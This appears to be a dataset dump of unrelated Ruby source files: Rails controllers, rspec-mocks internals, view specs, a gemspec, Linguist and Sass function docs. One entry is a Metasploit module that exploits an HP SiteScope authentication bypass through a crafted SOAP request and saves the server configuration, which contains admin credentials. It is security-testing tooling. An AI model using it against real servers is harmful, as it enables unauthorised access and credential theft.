hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
d531c09623c6d3556d2d53fe20ba28aa7ea3275c
546
# frozen_string_literal: true # Thrown when we can't find a Gemfile class NoGemfileException < StandardError def initialize(msg = 'Unable to find a Gemfile') super end end # Thrown when we can't find a Lockfile (Gemfile.lock) class NoLockfileException < StandardError def initialize(msg = 'Unable to find a Lockfile') super end end # Thrown the supplied level is invalid class InvalidLevelException < StandardError def initialize(msg = "Error: level must be one of: 'major', 'minor', 'patch' or 'exact'") super end end
23.73913
91
0.734432
f8cc7328c1651951d79d83374ef8a2d162212c01
4,759
#-- # Copyright (c) 2019 Fuyuki Academy # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #++ class Admin::SupportsController < ApplicationController def index @end_date = Time.zone.parse(Time.zone.now.strftime('%Y%m%d 00:00:00')) @start_date = @end_date.prev_month.tomorrow @results = get_results(@start_date, @end_date.tomorrow) @score_form = SupportScoreForm.new(start_date: @start_date, end_date: @end_date) end def monthly summary = {} today = Time.zone.parse(Time.zone.now.strftime('%Y%m01 00:00:00')) #monthly 12.times do |count| target = today.ago(count.month) summary[I18n.l(target, format: :ym)] = QnaRequest. where(["updated_at >= ? and updated_at < ?", target, target.next_month]).count end render json: summary end def score chart_data = [] chart_count = [0, 0, 0, 0, 0] end_date = Time.zone.parse(params[:end_date]) start_date = Time.zone.parse(params[:start_date]) results = QnaRequest.where(["qna_requests.updated_at >= ? AND qna_requests.updated_at < ? ", start_date, end_date.tomorrow]) results.each do |result| max_score = result.max_score if max_score <= 20 chart_count[0] += 1 elsif max_score <= 40 chart_count[1] += 1 elsif max_score <= 60 chart_count[2] += 1 elsif max_score <= 60 chart_count[3] += 1 else chart_count[4] += 1 end end chart_data << ["0 - 20", chart_count[0]] chart_data << ["20 - 40", chart_count[1]] chart_data << ["40 - 60", chart_count[2]] chart_data << ["60 - 80", chart_count[3]] chart_data << ["80 - 100", chart_count[4]] render json: chart_data end def refresh_score @score_form = SupportScoreForm.new(score_form_params) @score_form.valid? end def refresh_detail @datail_form = SupportDetailForm.new(detail_form_params) if @datail_form.valid? end_date = Time.zone.parse(@datail_form.end_date).tomorrow start_date = Time.zone.parse(@datail_form.start_date) end_score = @datail_form.end_score start_score = @datail_form.start_score page = params[:page] @results = get_results(start_date, end_date, start_score, end_score, page) end end private def get_results(start_date, end_date, start_score = 0, end_score = 100, page = 0) sql_params = {} sql_text = "SELECT qna_requests.*, max_score_response.max_score FROM qna_requests" + " LEFT JOIN (SELECT qna_request_id, max(qna_responses.score) AS max_score FROM qna_responses GROUP BY qna_request_id) max_score_response" + " ON qna_requests.id = max_score_response.qna_request_id" + " WHERE qna_requests.updated_at >= :start_date AND qna_requests.updated_at < :end_date" sql_params[:start_date] = start_date sql_params[:end_date] = end_date end_score = 100 if end_score.to_i == 0 sql_text = sql_text + " AND (max_score_response.max_score <= :end_score" sql_params[:end_score] = end_score.to_i if start_score.to_i > 0 sql_text = sql_text + " AND max_score_response.max_score >= :start_score)" sql_params[:start_score] = start_score else sql_text = sql_text + " OR max_score_response.max_score IS NULL)" end sql_text = sql_text + " ORDER BY max_score_response.max_score DESC" results = QnaRequest.find_by_sql([sql_text, sql_params]) Kaminari.paginate_array(results).page(page).per(Settings.SCORE_LIST_PER_PAGE.to_i) end def score_form_params params.require(:support_score_form).permit(:start_date, :end_date) end def detail_form_params params.permit(:start_date, :end_date, :start_score, :end_score) end end
35.514925
147
0.695314
268e77ba9ebf0987e4bcb036bf8484cd4be55dd2
8,875
module RSpec module Mocks # @private class MethodDouble < Hash # @private attr_reader :method_name, :object # @private def initialize(object, method_name, proxy) @method_name = method_name @object = object @proxy = proxy @method_stasher = InstanceMethodStasher.new(object_singleton_class, @method_name) @method_is_proxied = false store(:expectations, []) store(:stubs, []) end # @private def expectations self[:expectations] end # @private def stubs self[:stubs] end # @private def visibility if TestDouble === @object 'public' elsif object_singleton_class.private_method_defined?(@method_name) 'private' elsif object_singleton_class.protected_method_defined?(@method_name) 'protected' else 'public' end end class ProcWithBlock < Struct.new(:object, :method_name) def call(*args, &block) self.object.__send__(:method_missing, self.method_name, *args, &block) end end # @private def original_method if @method_stasher.method_is_stashed? # Example: a singleton method defined on @object ::RSpec::Mocks.method_handle_for(@object, @method_stasher.stashed_method_name) elsif meth = original_unrecorded_any_instance_method # Example: a method that has been mocked through # klass.any_instance.should_receive(:msg).and_call_original # any_instance.should_receive(:msg) causes the method to be # replaced with a proxy method, and then `and_call_original` # is recorded and played back on the object instance. We need # special handling here to get a handle on the original method # object rather than the proxy method. meth else # Example: an instance method defined on one of @object's ancestors. original_method_from_ancestry end rescue NameError # We have no way of knowing if the object's method_missing # will handle this message or not...but we can at least try. # If it's not handled, a `NoMethodError` will be raised, just # like normally. ProcWithBlock.new(@object,@method_name) end def original_unrecorded_any_instance_method return nil unless any_instance_class_recorder_observing_method?(@object.class) alias_name = ::RSpec::Mocks.any_instance_recorder_for(@object.class).build_alias_method_name(@method_name) @object.method(alias_name) end def any_instance_class_recorder_observing_method?(klass) return true if ::RSpec::Mocks.any_instance_recorder_for(klass).already_observing?(@method_name) superklass = klass.superclass return false if superklass.nil? any_instance_class_recorder_observing_method?(superklass) end our_singleton_class = class << self; self; end if our_singleton_class.ancestors.include? our_singleton_class # In Ruby 2.1, ancestors include the correct ancestors, including the singleton classes def original_method_from_ancestry # Lookup in the ancestry, skipping over the singleton class itself original_method_from_ancestor(object_singleton_class.ancestors.drop(1)) end else # @private def original_method_from_ancestry original_method_from_ancestor(object_singleton_class.ancestors) rescue NameError raise unless @object.respond_to?(:superclass) # Example: a singleton method defined on @object's superclass. # # Note: we have to give precedence to instance methods # defined on @object's class, because in a case like: # # `klass.should_receive(:new).and_call_original` # # ...we want `Class#new` bound to `klass` (which will return # an instance of `klass`), not `klass.superclass.new` (which # would return an instance of `klass.superclass`). original_method_from_superclass end end def original_method_from_ancestor(ancestors) klass, *rest = ancestors klass.instance_method(@method_name).bind(@object) rescue NameError raise if rest.empty? original_method_from_ancestor(rest) end if RUBY_VERSION.to_f > 1.8 # @private def original_method_from_superclass @object.superclass. singleton_class. instance_method(@method_name). bind(@object) end else # Our implementation for 1.9 (above) causes an error on 1.8: # TypeError: singleton method bound for a different object # # This doesn't work quite right in all circumstances but it's the # best we can do. # @private def original_method_from_superclass ::Kernel.warn <<-WARNING.gsub(/^ +\|/, '') | |WARNING: On ruby 1.8, rspec-mocks is unable to bind the original |`#{@method_name}` method to your partial mock object (#{@object}) |for `and_call_original`. The superclass's `#{@method_name}` is being |used instead; however, it may not work correctly when executed due |to the fact that `self` will be #{@object.superclass}, not #{@object}. | |Called from: #{caller[2]} WARNING @object.superclass.method(@method_name) end end # @private def object_singleton_class class << @object; self; end end # @private def configure_method @original_visibility = visibility_for_method @method_stasher.stash unless @method_is_proxied define_proxy_method end # @private def define_proxy_method return if @method_is_proxied object_singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1 def #{@method_name}(*args, &block) ::RSpec::Mocks.proxy_for(self).message_received :#{@method_name}, *args, &block end #{visibility_for_method} EOF @method_is_proxied = true end # @private def visibility_for_method "#{visibility} :#{method_name}" end # @private def restore_original_method return unless @method_is_proxied object_singleton_class.__send__(:remove_method, @method_name) @method_stasher.restore restore_original_visibility @method_is_proxied = false end # @private def restore_original_visibility return unless object_singleton_class.method_defined?(@method_name) || object_singleton_class.private_method_defined?(@method_name) object_singleton_class.class_eval(@original_visibility, __FILE__, __LINE__) end # @private def verify expectations.each {|e| e.verify_messages_received} end # @private def reset restore_original_method clear end # @private def clear expectations.clear stubs.clear end # @private def add_expectation(error_generator, expectation_ordering, expected_from, opts, &implementation) configure_method expectation = MessageExpectation.new(error_generator, expectation_ordering, expected_from, self, 1, opts, &implementation) expectations << expectation expectation end # @private def build_expectation(error_generator, expectation_ordering) expected_from = IGNORED_BACKTRACE_LINE MessageExpectation.new(error_generator, expectation_ordering, expected_from, self) end # @private def add_stub(error_generator, expectation_ordering, expected_from, opts={}, &implementation) configure_method stub = MessageExpectation.new(error_generator, expectation_ordering, expected_from, self, :any, opts, &implementation) stubs.unshift stub stub end # @private def add_default_stub(*args, &implementation) return if stubs.any? add_stub(*args, &implementation) end # @private def remove_stub raise_method_not_stubbed_error if stubs.empty? expectations.empty? ? reset : stubs.clear end # @private def raise_method_not_stubbed_error raise MockExpectationError, "The method `#{method_name}` was not stubbed or was already unstubbed" end # @private IGNORED_BACKTRACE_LINE = 'this backtrace line is ignored' end end end
33.364662
138
0.636282
62ba84f8bc242f8ced3efb23a2760669b3758f78
4,153
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'HP SiteScope SOAP Call getSiteScopeConfiguration Configuration Access', 'Description' => %q{ This module exploits an authentication bypass vulnerability in HP SiteScope which allows to retrieve the HP SiteScope configuration, including administrative credentials. It is accomplished by calling the getSiteScopeConfiguration operation available through the APISiteScopeImpl AXIS service. The HP SiteScope Configuration is retrieved as file containing Java serialization data. This module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2 and Linux Centos 6.3. }, 'References' => [ [ 'OSVDB', '85120' ], [ 'BID', '55269' ], [ 'ZDI', '12-173' ] ], 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ]) register_autofilter_ports([ 8080 ]) end def run_host(ip) @uri = normalize_uri(target_uri.path) @uri << '/' if @uri[-1,1] != '/' print_status("Connecting to SiteScope SOAP Interface") uri = normalize_uri(@uri, 'services/APISiteScopeImpl') res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) if not res print_error("Unable to connect") return end access_configuration end def access_configuration data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" data << "<wsns0:Envelope" + "\r\n" data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n" data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n" data << ">" + "\r\n" data << "<wsns0:Body" + "\r\n" data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n" data << ">" + "\r\n" data << "<impl:getSiteScopeConfiguration" + "\r\n" data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n" data << "></impl:getSiteScopeConfiguration>" + "\r\n" data << "</wsns0:Body>" + "\r\n" data << "</wsns0:Envelope>" print_status("Retrieving the SiteScope Configuration") uri = normalize_uri(@uri, 'services/APISiteScopeImpl') res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, 'headers' => { 'SOAPAction' => '""', }}) if res and res.code == 200 if res.headers['Content-Type'] =~ /boundary="(.*)"/ boundary = $1 end if not boundary or boundary.empty? print_error("Failed to retrieve the SiteScope Configuration") return end if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/ cid = $1 end if not cid or cid.empty? print_error("Failed to retrieve the SiteScope Configuration") return end if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m loot = Rex::Text.ungzip($1) end if not loot or loot.empty? print_error("Failed to retrieve the SiteScope Configuration") return end path = store_loot('hp.sitescope.configuration', 'application/octet-stream', rhost, loot, cid, "#{rhost} HP SiteScope Configuration") print_good("HP SiteScope Configuration saved in #{path}") print_status("HP SiteScope Configuration is saved as Java serialization data") return end print_error("Failed to retrieve the SiteScope Configuration") end end
31.462121
138
0.605827
182093519511fdb7f359e97eb0a4d37e27a99bfc
422
class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception before_action :set_locale def admin_only unless current_user.admin? redirect_to root_path, :alert => t('access_denied') end end def set_locale params[:locale] || I18n.locale = "pt-BR" end end
24.823529
57
0.727488
1a7e26c420eef757df521ce8059a8ea1dd8a3e0c
2,657
require "rails_helper" RSpec.describe "insured/families/purchase.html.erb" do let(:employee_role){FactoryGirl.create(:employee_role)} let(:plan){FactoryGirl.create(:plan)} let(:benefit_group){ FactoryGirl.build(:benefit_group) } let(:hbx_enrollment){ HbxEnrollment.new(benefit_group: benefit_group, employee_role: employee_role, effective_on: 1.month.ago.to_date, updated_at: DateTime.now ) } let(:person) { FactoryGirl.create(:person)} context "purchase" do before :each do @person = employee_role.person @plan = plan @enrollment = hbx_enrollment @benefit_group = @enrollment.benefit_group @reference_plan = @benefit_group.reference_plan @plan = PlanCostDecorator.new(@plan, @enrollment, @benefit_group, @reference_plan) allow(person).to receive(:consumer_role).and_return(false) @person = person render :template => "insured/families/purchase.html.erb" end it 'should display the correct plan selection text' do expect(rendered).to have_selector('h1', text: 'Confirm Your Plan Selection') expect(rendered).to have_selector('p', text: 'Your current plan selection is displayed below. Click the back button if you want to change your selection. Click Purchase button to complete your enrollment.') expect(rendered).to have_selector('p', text: 'Your enrollment is not complete until you purchase your plan selection below.') end it "should display the confirm button" do expect(rendered).to have_selector('a', text: 'Confirm') expect(rendered).not_to have_selector('a', text: 'Terminate Plan') end end context "terminate" do before :each do @person = employee_role.person @plan = plan @enrollment = hbx_enrollment @benefit_group = @enrollment.benefit_group @reference_plan = @benefit_group.reference_plan @plan = PlanCostDecorator.new(@plan, @enrollment, @benefit_group, @reference_plan) assign :terminate, 'terminate' render :template => "insured/families/purchase.html.erb" end it "should display the terminate button" do expect(rendered).to have_selector('a', text: 'Terminate Plan') expect(rendered).not_to have_selector('a', text: 'Purchase') expect(rendered).not_to have_selector('a', text: 'Confirm') end it "should display the terminate message" do expect(rendered).to have_selector('p', text: 'You will remain enrolled in coverage until you terminate your plan selection below.') expect(rendered).to have_selector('p', text: 'Click Terminate Plan button to complete your termination from coverage.') end end end
44.283333
212
0.716974
f75512a870c31aecaf120f3034fd188413a2ef3f
1,600
# -*- encoding: utf-8 -*- $LOAD_PATH.unshift File.expand_path("../lib", __FILE__) require 'beaker-pe/version' Gem::Specification.new do |s| s.name = "beaker-pe" s.version = Beaker::DSL::PE::Version::STRING s.authors = ["Puppetlabs"] s.email = ["[email protected]"] s.homepage = "https://github.com/puppetlabs/beaker-pe" s.summary = %q{Beaker PE DSL Helpers!} s.description = %q{Puppet Enterprise (PE) Install & Helper library} s.license = 'Apache2' s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } s.require_paths = ["lib"] # Testing dependencies s.add_development_dependency 'rspec', '~> 3.0' s.add_development_dependency 'rspec-its' s.add_development_dependency 'fakefs', '~> 0.6', '< 0.14.0' s.add_development_dependency 'rake', '~> 12.3.3' s.add_development_dependency 'simplecov' s.add_development_dependency 'pry', '~> 0.10' # Documentation dependencies s.add_development_dependency 'yard' s.add_development_dependency 'markdown' s.add_development_dependency 'activesupport', '~> 5.0' s.add_development_dependency 'thin' # Run time dependencies s.add_runtime_dependency 'beaker', '~>4.0' s.add_runtime_dependency 'beaker-puppet', '~>1.0' s.add_runtime_dependency 'stringify-hash', '~> 0.0.0' s.add_runtime_dependency 'beaker-answers', '~> 0.0' s.add_runtime_dependency 'beaker-abs' s.add_runtime_dependency 'beaker-vmpooler', '~> 1.0' end
36.363636
83
0.676875
180d63508c51428bc1b0120ee6741215cf7870a5
532
dir = File.dirname(__FILE__) dir = File.dirname(__FILE__) require "#{dir}/plugin_migrations/migrator" if ActiveRecord::ConnectionAdapters::SchemaStatements.instance_methods.include?('initialize_schema_information') require "#{dir}/plugin_migrations/1.2/migrator" require "#{dir}/plugin_migrations/1.2/extensions/schema_statements" else require "#{dir}/plugin_migrations/2.1/migrator" require "#{dir}/plugin_migrations/2.1/extensions/schema_statements" require "#{dir}/plugin_migrations/2.1/extensions/base_migration" end
40.923077
112
0.798872
28bff7affa84b7b7390a865c738495ff8be9c64c
220
module Leggy module Mapping class Crawl include Kartograph::DSL kartograph do mapping Leggy::Crawl property *Leggy::Crawl.attr_accessors, scopes: [ :read ] end end end end
15.714286
64
0.622727
1a1d4191633ae3e6df2081ac58f1bdaf30c710c2
389
cask "font-sf-compact" do version "17.1d1e1" sha256 :no_check url "https://devimages-cdn.apple.com/design/resources/download/SF-Compact.dmg" name "San Francisco Compact" name "SF Compact" desc "Compact variant of \"San Francisco\" by Apple" homepage "https://developer.apple.com/fonts/" pkg "SF Compact Fonts.pkg" uninstall pkgutil: "com.apple.pkg.SFCompactFonts" end
25.933333
80
0.730077
620ffb82cb91ba8003f3f14eb0f7eae493d79d35
430
require_relative '../src/shared/opcodes.rb' puts '// Autogenerated from /src/shared/opcodes.rb' puts puts 'const DabOpcodeInfo g_opcodes[] = {' format = " {OP_%s, \"%s\", {%s}},\n" REAL_OPCODES.each_value do |opcode| name = opcode[:name] args = opcode[:args] || [opcode[:arg]].compact args = args.map { |arg| "OpcodeArg::ARG_#{arg.upcase}" } args = args.join(', ') printf(format, name, name, args) end puts '};'
22.631579
58
0.637209
33e340d9bcd28c3819e89e1e7e8f6a562ef04c53
45
module HadoopJobKill VERSION = "0.1.0" end
11.25
20
0.711111
3341f492acd78a055034d41d2160fe909d759ac4
2,234
require 'linguist/file_blob' module Linguist # A Repository is an abstraction of a Grit::Repo or a basic file # system tree. It holds a list of paths pointing to Blobish objects. # # Its primary purpose is for gathering language statistics across # the entire project. class Repository # Public: Initialize a new Repository from a File directory # # base_path - A path String # # Returns a Repository def self.from_directory(base_path) new Dir["#{base_path}/**/*"]. select { |f| File.file?(f) }. map { |path| FileBlob.new(path, base_path) } end # Public: Initialize a new Repository # # enum - Enumerator that responds to `each` and # yields Blob objects # # Returns a Repository def initialize(enum) @enum = enum @computed_stats = false @language = @size = nil @sizes = Hash.new { 0 } end # Public: Returns a breakdown of language stats. # # Examples # # # => { Language['Ruby'] => 46319, # Language['JavaScript'] => 258 } # # Returns a Hash of Language keys and Integer size values. def languages compute_stats @sizes end # Public: Get primary Language of repository. # # Returns a Language def language compute_stats @language end # Public: Get the total size of the repository. # # Returns a byte size Integer def size compute_stats @size end # Internal: Compute language breakdown for each blob in the Repository. # # Returns nothing def compute_stats return if @computed_stats @enum.each do |blob| # Skip vendored or generated blobs next if blob.vendored? || blob.generated? || blob.language.nil? # Only include programming languages if blob.language.type == :programming @sizes[blob.language.group] += blob.size end end # Compute total size @size = @sizes.inject(0) { |s,(k,v)| s + v } # Get primary language if primary = @sizes.max_by { |(_, size)| size } @language = primary[0] end @computed_stats = true nil end end end
24.021505
75
0.602059
115836fbb1812ade017bd839414ab354ad05892d
974
class Factory cattr_accessor :factories, instance_writer: false self.factories = Hash.new { |hash, key| hash[key] = {} } def self.define(name, options = {}, &block) self.factories[name][:options] = options self.factories[name][:definition] = block end def self.build(name, attributes = {}) new(name, attributes).record end def self.create(name, attributes = {}) record = new(name, attributes).record record.save! record end def self.attributes_for(name, attributes = {}) new(name, attributes).record.to_h end attr_accessor :record def initialize(name, attributes = {}) definition = factories[name][:definition] klass = factories[name][:options][:class] || name self.record = klass.to_s.classify.constantize.new record.instance_eval(&definition) # @FIXME Works except with transient attributes attributes.each do |key, value| record.send("#{key}=", value) end end end
24.35
59
0.666324
edac79f28c5c27c68ed0c9712f328c550866e57d
1,552
# encoding: UTF-8 control 'PHTN-30-000051' do title 'The Photon operating system package files must not be modified.' desc "Protecting the integrity of the tools used for auditing purposes is a critical step toward ensuring the integrity of audit information. Audit information includes all information (e.g., audit records, audit settings, and audit reports) needed to successfully audit information system activity. Without confidence in the integrity of the auditing system and tools, the information it provides cannot be trusted. " desc 'rationale', '' desc 'check', " Use the verification capability of rpm to check the MD5 hashes of the audit files on disk versus the expected ones from the installation package. At the command line, execute the following command: # rpm -V audit | grep \"^..5\" | grep -v \"^...........c\" If there is any output, this is a finding. " desc 'fix', " If the audit system binaries have been altered the system must be taken offline and your ISSM must be notified immediately. Reinstalling the audit tools is not supported. The appliance should be restored from a backup or redeployed once the root cause is remediated. " impact 0.5 tag severity: 'medium' tag gtitle: 'SRG-OS-000278-GPOS-00108' tag gid: nil tag rid: nil tag stig_id: 'PHTN-30-000051' tag fix_id: nil tag cci: ['CCI-001496'] tag nist: ['AU-9 (3)'] describe command('rpm -V audit | grep "^..5" | grep -v "^...........c"') do its ('stdout') { should eq '' } end end
33.021277
79
0.702964
bbae036ec4a09876fdcc8e26d73a5c962a26e4f5
116,021
require 'sass/script/value/helpers' module Sass::Script # YARD can't handle some multiline tags, and we need really long tags for function declarations. # Methods in this module are accessible from the SassScript context. # For example, you can write # # $color: hsl(120deg, 100%, 50%) # # and it will call {Functions#hsl}. # # The following functions are provided: # # *Note: These functions are described in more detail below.* # # ## RGB Functions # # \{#rgb rgb($red, $green, $blue)} # : Creates a {Sass::Script::Value::Color Color} from red, green, and blue # values. # # \{#rgba rgba($red, $green, $blue, $alpha)} # : Creates a {Sass::Script::Value::Color Color} from red, green, blue, and # alpha values. # # \{#red red($color)} # : Gets the red component of a color. # # \{#green green($color)} # : Gets the green component of a color. # # \{#blue blue($color)} # : Gets the blue component of a color. # # \{#mix mix($color1, $color2, \[$weight\])} # : Mixes two colors together. # # ## HSL Functions # # \{#hsl hsl($hue, $saturation, $lightness)} # : Creates a {Sass::Script::Value::Color Color} from hue, saturation, and # lightness values. # # \{#hsla hsla($hue, $saturation, $lightness, $alpha)} # : Creates a {Sass::Script::Value::Color Color} from hue, saturation, # lightness, and alpha values. # # \{#hue hue($color)} # : Gets the hue component of a color. # # \{#saturation saturation($color)} # : Gets the saturation component of a color. # # \{#lightness lightness($color)} # : Gets the lightness component of a color. # # \{#adjust_hue adjust-hue($color, $degrees)} # : Changes the hue of a color. # # \{#lighten lighten($color, $amount)} # : Makes a color lighter. # # \{#darken darken($color, $amount)} # : Makes a color darker. # # \{#saturate saturate($color, $amount)} # : Makes a color more saturated. # # \{#desaturate desaturate($color, $amount)} # : Makes a color less saturated. # # \{#grayscale grayscale($color)} # : Converts a color to grayscale. # # \{#complement complement($color)} # : Returns the complement of a color. # # \{#invert invert($color, \[$weight\])} # : Returns the inverse of a color. # # ## Opacity Functions # # \{#alpha alpha($color)} / \{#opacity opacity($color)} # : Gets the alpha component (opacity) of a color. # # \{#rgba rgba($color, $alpha)} # : Changes the alpha component for a color. # # \{#opacify opacify($color, $amount)} / \{#fade_in fade-in($color, $amount)} # : Makes a color more opaque. # # \{#transparentize transparentize($color, $amount)} / \{#fade_out fade-out($color, $amount)} # : Makes a color more transparent. # # ## Other Color Functions # # \{#adjust_color adjust-color($color, \[$red\], \[$green\], \[$blue\], \[$hue\], \[$saturation\], \[$lightness\], \[$alpha\])} # : Increases or decreases one or more components of a color. # # \{#scale_color scale-color($color, \[$red\], \[$green\], \[$blue\], \[$saturation\], \[$lightness\], \[$alpha\])} # : Fluidly scales one or more properties of a color. # # \{#change_color change-color($color, \[$red\], \[$green\], \[$blue\], \[$hue\], \[$saturation\], \[$lightness\], \[$alpha\])} # : Changes one or more properties of a color. # # \{#ie_hex_str ie-hex-str($color)} # : Converts a color into the format understood by IE filters. # # ## String Functions # # \{#unquote unquote($string)} # : Removes quotes from a string. # # \{#quote quote($string)} # : Adds quotes to a string. # # \{#str_length str-length($string)} # : Returns the number of characters in a string. # # \{#str_insert str-insert($string, $insert, $index)} # : Inserts `$insert` into `$string` at `$index`. # # \{#str_index str-index($string, $substring)} # : Returns the index of the first occurrence of `$substring` in `$string`. # # \{#str_slice str-slice($string, $start-at, [$end-at])} # : Extracts a substring from `$string`. # # \{#to_upper_case to-upper-case($string)} # : Converts a string to upper case. # # \{#to_lower_case to-lower-case($string)} # : Converts a string to lower case. # # ## Number Functions # # \{#percentage percentage($number)} # : Converts a unitless number to a percentage. # # \{#round round($number)} # : Rounds a number to the nearest whole number. # # \{#ceil ceil($number)} # : Rounds a number up to the next whole number. # # \{#floor floor($number)} # : Rounds a number down to the previous whole number. # # \{#abs abs($number)} # : Returns the absolute value of a number. # # \{#min min($numbers...)\} # : Finds the minimum of several numbers. # # \{#max max($numbers...)\} # : Finds the maximum of several numbers. # # \{#random random([$limit])\} # : Returns a random number. # # ## List Functions {#list-functions} # # Lists in Sass are immutable; all list functions return a new list rather # than updating the existing list in-place. # # All list functions work for maps as well, treating them as lists of pairs. # # \{#length length($list)} # : Returns the length of a list. # # \{#nth nth($list, $n)} # : Returns a specific item in a list. # # \{#set-nth set-nth($list, $n, $value)} # : Replaces the nth item in a list. # # \{#join join($list1, $list2, \[$separator, $bracketed\])} # : Joins together two lists into one. # # \{#append append($list1, $val, \[$separator\])} # : Appends a single value onto the end of a list. # # \{#zip zip($lists...)} # : Combines several lists into a single multidimensional list. # # \{#index index($list, $value)} # : Returns the position of a value within a list. # # \{#list_separator list-separator($list)} # : Returns the separator of a list. # # \{#is_bracketed is-bracketed($list)} # : Returns whether a list has square brackets. # # ## Map Functions {#map-functions} # # Maps in Sass are immutable; all map functions return a new map rather than # updating the existing map in-place. # # \{#map_get map-get($map, $key)} # : Returns the value in a map associated with a given key. # # \{#map_merge map-merge($map1, $map2)} # : Merges two maps together into a new map. # # \{#map_remove map-remove($map, $keys...)} # : Returns a new map with keys removed. # # \{#map_keys map-keys($map)} # : Returns a list of all keys in a map. # # \{#map_values map-values($map)} # : Returns a list of all values in a map. # # \{#map_has_key map-has-key($map, $key)} # : Returns whether a map has a value associated with a given key. # # \{#keywords keywords($args)} # : Returns the keywords passed to a function that takes variable arguments. # # ## Selector Functions # # Selector functions are very liberal in the formats they support # for selector arguments. They can take a plain string, a list of # lists as returned by `&` or anything in between: # # * A plain string, such as `".foo .bar, .baz .bang"`. # * A space-separated list of strings such as `(".foo" ".bar")`. # * A comma-separated list of strings such as `(".foo .bar", ".baz .bang")`. # * A comma-separated list of space-separated lists of strings such # as `((".foo" ".bar"), (".baz" ".bang"))`. # # In general, selector functions allow placeholder selectors # (`%foo`) but disallow parent-reference selectors (`&`). # # \{#selector_nest selector-nest($selectors...)} # : Nests selector beneath one another like they would be nested in the # stylesheet. # # \{#selector_append selector-append($selectors...)} # : Appends selectors to one another without spaces in between. # # \{#selector_extend selector-extend($selector, $extendee, $extender)} # : Extends `$extendee` with `$extender` within `$selector`. # # \{#selector_replace selector-replace($selector, $original, $replacement)} # : Replaces `$original` with `$replacement` within `$selector`. # # \{#selector_unify selector-unify($selector1, $selector2)} # : Unifies two selectors to produce a selector that matches # elements matched by both. # # \{#is_superselector is-superselector($super, $sub)} # : Returns whether `$super` matches all the elements `$sub` does, and # possibly more. # # \{#simple_selectors simple-selectors($selector)} # : Returns the simple selectors that comprise a compound selector. # # \{#selector_parse selector-parse($selector)} # : Parses a selector into the format returned by `&`. # # ## Introspection Functions # # \{#feature_exists feature-exists($feature)} # : Returns whether a feature exists in the current Sass runtime. # # \{#variable_exists variable-exists($name)} # : Returns whether a variable with the given name exists in the current scope. # # \{#global_variable_exists global-variable-exists($name)} # : Returns whether a variable with the given name exists in the global scope. # # \{#function_exists function-exists($name)} # : Returns whether a function with the given name exists. # # \{#mixin_exists mixin-exists($name)} # : Returns whether a mixin with the given name exists. # # \{#content_exists content-exists()} # : Returns whether the current mixin was passed a content block. # # \{#inspect inspect($value)} # : Returns the string representation of a value as it would be represented in Sass. # # \{#type_of type-of($value)} # : Returns the type of a value. # # \{#unit unit($number)} # : Returns the unit(s) associated with a number. # # \{#unitless unitless($number)} # : Returns whether a number has units. # # \{#comparable comparable($number1, $number2)} # : Returns whether two numbers can be added, subtracted, or compared. # # \{#call call($function, $args...)} # : Dynamically calls a Sass function reference returned by `get-function`. # # \{#get_function get-function($name, $css: false)} # : Looks up a function with the given name in the current lexical scope # and returns a reference to it. # # ## Miscellaneous Functions # # \{#if if($condition, $if-true, $if-false)} # : Returns one of two values, depending on whether or not `$condition` is # true. # # \{#unique_id unique-id()} # : Returns a unique CSS identifier. # # ## Adding Custom Functions # # New Sass functions can be added by adding Ruby methods to this module. # For example: # # module Sass::Script::Functions # def reverse(string) # assert_type string, :String # Sass::Script::Value::String.new(string.value.reverse) # end # declare :reverse, [:string] # end # # Calling {declare} tells Sass the argument names for your function. # If omitted, the function will still work, but will not be able to accept keyword arguments. # {declare} can also allow your function to take arbitrary keyword arguments. # # There are a few things to keep in mind when modifying this module. # First of all, the arguments passed are {Value} objects. # Value objects are also expected to be returned. # This means that Ruby values must be unwrapped and wrapped. # # Most Value objects support the {Value::Base#value value} accessor for getting # their Ruby 